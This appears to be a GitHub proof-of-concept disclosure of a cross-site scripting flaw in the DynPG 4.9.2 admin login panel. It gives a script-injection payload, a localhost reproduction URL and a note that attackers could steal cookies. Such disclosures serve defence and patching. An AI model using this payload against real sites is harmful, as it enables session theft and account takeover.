main

POC / DynPG 4.9.2 XSS via index.php URI

xoffense Update DynPG 4.9.2 XSS via index.php URI History

1 contributor

20 lines (16 sloc) | 872 Bytes

```
Description

A cross-site scripting (XSS) issue in the DynPG admin login panel version 4.9.2 allows remote attackers to inject JavaScript via the "index.php" URI
___
XSS Payload: '"--></style></scRipt><scRipt>alert(1)</scRipt>
___
Vulnerable URI: index.php
___
Steps to Reproduce the Issue:

1- Login to DynPG admin panel
2- Paste below POC:
https://localhost/dynpg/index.php/'"--></style></scRipt><scRipt>alert(1)</scRipt>

As you can see, XSS is triggered.

Video POC: https://drive.google.com/file/d/1pdU2o4V063Lt39kqLFP-IzfPCvadW-U1/view?usp=sharing
___
Impact
With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeove
```